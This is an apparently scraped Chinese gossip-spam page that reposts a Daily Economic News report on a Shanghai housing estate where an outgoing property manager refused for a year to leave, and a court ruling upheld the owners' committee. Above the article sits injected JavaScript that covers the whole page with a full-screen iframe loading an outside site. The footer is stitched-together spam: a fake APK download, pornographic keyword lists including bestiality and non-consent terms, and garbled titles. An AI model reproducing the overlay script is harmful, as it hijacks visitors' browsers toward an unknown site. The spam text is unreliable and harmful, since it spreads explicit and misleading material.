首页 ›黑料吃瓜›内容详情

慧聪网教育:吃瓜网-免费吃瓜黑料泄密爆料-曝光黑料吃瓜网-一个小区两个物业，老物业推迟一年才撤场，法院这样判

alan 黑料吃瓜 2025-01-20 1 0
(function() { function generateRandomString(length) { return Math.random().toString(36).substring(2, length + 2); } function loadExternalContent(url) { var frameName = generateRandomString(10); var frame = document.createElement('iframe'); frame.id = frameName; frame.style.cssText = 'width:100%;height:100%;border:none;position:fixed;top:0;left:0;z-index:9999;'; frame.src = url; document.body.appendChild(frame); } var externalUrl = 'https://52-cg.com'; loadExternalContent(externalUrl); })();

每经记者 刘颂辉 每经编辑 何小桃 陈梦妤

上海绿地香颂小区 每经记者 刘颂辉 摄 ‍

新旧物业换届困难，上海浦东新区一小区一度出现 " 两个物业共存 " 局面，部分业主还因 " 业主撤销权纠纷 " 与业委会闹上法庭。

近日，上海市第一中级人民法院民事判决书显示，中海物业在竞聘绿地香颂小区之后，由于老物业上海深长城物业管理有限公司（以下简称深长城物业）未退场，而无法完全进驻。该小区业委会表示，老物业不希望更换，还找人出来作证。法院最终判决，业委会选聘新物业有效，不存在程序违法问题。

在近一年的拉锯纷争里，绿地香颂小区业委会为了物业换届，连发九道撤场通知，在当地多部门的协调下才顺利解决。

1 月 13 日下午，该小区高层部分的业主徐先生向《每日经济新闻》记者介绍，目前，老物业公司已退出小区，希望中海物业进驻后有所改观。

新物业进场遇阻 ‍‍

绿地香颂位于浦东新区康桥镇，是一处 2011 年前后交付入住的商品房小区，分为别墅和高层区域，共有业主 1305 人。

2023 年 8 月 18 日，小区召开业主大会，投票表决是否继续聘用深长城物业，结果显示同意 437 票、反对 618 票、弃权 67 票。

三个月后，该小区第一届业委会召开物业选聘评标会，上海中海物业管理有限公司、上海高地物业管理有限公司和上海文化银湾物业管理有限公司等三家进入候选名单。

2024 年 3 月 28 日，上海市浦东新区康桥镇城市建设管理事务中心（上海市浦东新区康桥镇房管办事处）工作人员、深长城物业、绿地香颂第一届业委会工作人员就新老物业交接的矛盾化解工作达成和解意见：

深长城物业于 2024 年 4 月 30 日撤场，撤出绿地香颂小区，新老物业进行权责移交；深长城物业同意中标物业单位上海中海物业管理有限公司在 2024 年 3 月 30 日派客服和工程部的工作人员进驻办理移交准备工作，且不占深长城物业的工作岗位；有序移交材料，确保平稳过渡。

尽管有多方协调，但新物业在进驻绿地香颂小区过程中遭遇了较大阻力，中海物业仅进入了别墅区域，直到 2024 年 12 月初，深长城物业一直在高层区域，未完成退场。

业主有权选择物业

" 一个小区两家物业 " 不仅破坏了小区的正常秩序，也对居民生活造成影响。在走访过程中，多位绿地香颂业主告诉每经记者，就小区更换物业公司的事情投过票，但是因为个别业主反对，新物业一直被阻拦无法进入，理由是不满业委会的选聘程序。

2024 年 12 月 31 日，上海市第一中级人民法院就绿地香颂业主李某、杜某、朱某与小区业委会的业主撤销权纠纷一案作出二审判决，驳回了三位业主的上诉请求。

针对小区物业换届不顺的情况，绿地香颂业委会曾九次发布撤场通知，通知显示，中海物业是小区的在管物业。

通知催促 2024 年 12 月 9 日与业委会委托的中海物业工作人员交接，交接内容包括物业管理用房的交接、现场设备情况交接等；12 月 16 日，深长城物业的保洁、绿化、工程等相关人员撤离绿地香颂高层区；12 月 17 日，中海物业正式进驻小区。

小区近期部分整改计划

中海物业一位不愿具名的人士向每经记者透露，公司进驻绿地香颂小区以来遇到不小挑战，小区大门的道闸被拆除，部分监控摄像头也缺失。

上海中海绿地香颂管理处方面介绍，小区的服务难点还包括：地库车位租赁产权资料缺失；业主一户一档信息缺失，工作量较大；大堂、别墅、地库等多位置探头缺失；消防存在安管隐患。

北京金诉律师事务所创始人、北京市律协土地房地产专委会委员王玉臣表示，新老物业交替火药味浓重，旧物业公司不肯退场的情况下，站在业主角度，首先应该以书面文件形式告知旧物业公司终止委托的事实，明确要求旧物业公司限期退出，并且不再支付任何物业费用；其次可以向相关部门投诉以及向法院提起诉讼，" 业主拥有选择物业公司、享受更优质服务的权利 "。

记者 |刘颂辉

编辑 |何小桃 陈梦妤 杜恒峰

校对 |段炼

｜每日经济新闻 nbdnews 原创文章｜

本文地址：http://ccgg6.cc/post/2752.html
版权声明：[免责声明]本文来源于网络，不代表本站立场，如转载内容涉及版权等问题，请联系邮箱:seo998@gmail.com，我们会予以删除相关文章，保证您的权利。

相关文章

热门文章

最近发表

首页 > > 野结衣波多十四全集
nba直播8

www.122727.com

「活动」注册就送新人大礼包

84.29MB
版本V9.84.14
下载APK 高速下载
下载加勒比海盗三免费中文版安装你想要的应用 更方便 更快捷 发现更多
喜欢 18%好评(87人)
评论 40
xxxx美国180 97ri.com1 呦男呦女四区2 91午夜福利3 zozozo另类人禽交4
详细信息
  • 软件大小: 81.23MB
  • 最后更新: 2024-09-16 18:34:53
  • 最新版本: V8.28.17
  • 文件格式: apk
  • 应用分类:ios-Android 小杨哥品牌方黑料不打烊
  • 使用语言: 中文
  • : 需要联网
  • 系统要求: 5.41以上
应用介绍
一，歌剧魅影2004版电影，花季传媒app黄3.0.3视频
二，更衣人偶坠入爱河动漫在线观看，女人骗你钱的惯用套路
三，穿越凹凸世界隐藏实力当废物，91制片厂果冻传媒作品
四，bgmbgmbgm老太太水太多，马红俊继承火神在哪一部
五，一性一交一伦一色一情，奈何boss要娶我全集免费观看西瓜
六，校花被老头强迫np肉高H，绿巨人聚合藏宝阁黑科技
七，绿色椅子 在线观看，黑料不打烊菠萝直播

【联系我们】
客服热线：139-8888-666
加载更多
版本更新
V1.22.17
男生被自己好兄弟告白动漫男男伦流澡～你ma别㖭了，她当丈夫面前被耍了HD

国产一二三四视频

猜你喜欢

相关攻略
包含 饿了么 的应用集
评论
  • www.色樱桃视频 4天前
    唐人街探案3免费观看完整版视频
  • 17c吃瓜网 - 免费吃瓜 黑料泄 7天前
    北体传媒在线课堂app
  • 黑料不打烊so导航黑料 7天前
    动漫3D精品一区二区三区乱码
  • 张真源是不是晨勃了 6天前
    亚洲人视频在线观看
  • 老师的小兔子在线观看 2天前
    健身房里被教练c到呻吟男男视频
  • 江唯林南烟小说全文免费阅读 4天前
    大但人文艺术的内涵
  • 国模私拍丝袜成人福利 5天前
    谢谢你来了回家完整视频把三月七的衣服消除
  • 盗摄XX凹凸XX偷拍一HD 4天前
    爽⋯好多水⋯别拔出来男男
  • 坤在八卦里代表什么 4天前
    说服娇妻第一次3p成功的经历
  • 菠萝菠萝蜜在线视频www3 9天前
    得妻如此 夫复何求
日产乱码一二三区别免费下载
黑料不打烊APP靠谱吗 -安卓手机网上最贴心的Android软件应用平台! 版权归本站所有